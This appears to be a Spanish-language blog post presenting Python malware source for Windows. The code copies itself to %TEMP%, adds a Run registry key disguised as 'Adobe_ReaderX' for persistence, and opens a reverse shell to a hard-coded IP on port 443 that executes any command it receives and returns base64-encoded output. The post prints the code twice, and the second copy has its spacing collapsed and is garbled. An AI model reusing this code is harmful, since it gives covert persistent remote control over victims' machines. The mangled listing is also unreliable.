Una de las cosas más comunes que se encontrará en el malware es que desean obtener la persistencia hacia la víctima. Hay un montón de maneras de lograr la persistencia en Windows, uno de los más comunes es para modificar la clave del Registro siguiente: "Software \ Microsoft \ Windows \ CurrentVersion \ Run". A continuación se muestra una captura de pantalla rápida del código Python para copiar el programa en el directorio% TEMP% y luego hacer una modificación del registro por lo que este código se ejecutará cuando un usuario inicia sesión en el ordenador:
import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# ejecutable para copiar en %TEMP%:
os.system('copy %s %s'%(fileName, tempdir))
# Registro de Windows para las consultas de valores clave
# Añade clave de ejecución automática para volver a codificar matriz
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# Establecer clave de ejecución automática:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
key.Close()
except WindowsError:
pass
Ahora que hemos copiado este archivo al directorio% TEMP%, y la configuración de la persistencia podemos ejecutar la siguiente parte del código, el shell inversa. Nos toca aprovechar una shell inversa en Python publicado por TrustedSec que hice una modificación - Base64 codificar el tráfico de la red:
defshell():#Base64 encoded reverse shells=socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('192.168.56.1',int(443)))s.send('[*] Connection Established!')while1:data=s.recv(1024)ifdata=="quit":breakproc=subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)stdout_value=proc.stdout.read()+proc.stderr.read()encoded=base64.b64encode(stdout_value)s.send(encoded)#s.send(stdout_value)s.close()defmain():tempdir='%TEMP%'fileName=sys.argv[0]run="Software\Microsoft\Windows\CurrentVersion\Run"autorun(tempdir, fileName, run)shell()if__name__=="__main__":main()
Ahora, cuando este programa se ejecuta abrirá un shell inversa de vuelta al "atacante", que en este caso es una dirección IP no modificable en el guión, pero fácilmente podría ser de dominio, o tal vez algo en la nube de Amazon.
Aquí está el código completo:
importsys, base64, os, socket, subprocessfrom_winregimport*defautorun(tempdir, fileName, run):#ejecutable para copiar en %TEMP%:os.system('copy %s %s'%(fileName, tempdir))#Registro de Windows para las consultas de valores clave#Añade clave de ejecución automática para volver a codificar matrizkey=OpenKey(HKEY_LOCAL_MACHINE, run)runkey=[]try:i=0whileTrue:subkey=EnumValue(key, i)runkey.append(subkey[0])i+=1exceptWindowsError:pass# If the autorun key "Adobe ReaderX" isn't set this will set the key:if'Adobe ReaderX'notinrunkey:try:key=OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")key.Close()exceptWindowsError:passdefshell():#Base64 encoded reverse shells=socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('192.168.56.1',int(443)))s.send('[*] Connection Established!')while1:data=s.recv(1024)ifdata=="quit":breakproc=subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)stdout_value=proc.stdout.read()+proc.stderr.read()encoded=base64.b64encode(stdout_value)s.send(encoded)#s.send(stdout_value)s.close()defmain():tempdir='%TEMP%'fileName=sys.argv[0]run="Software\Microsoft\Windows\CurrentVersion\Run"autorun(tempdir, fileName, run)shell()if__name__=="__main__":main()
No hay comentarios.:
Publicar un comentario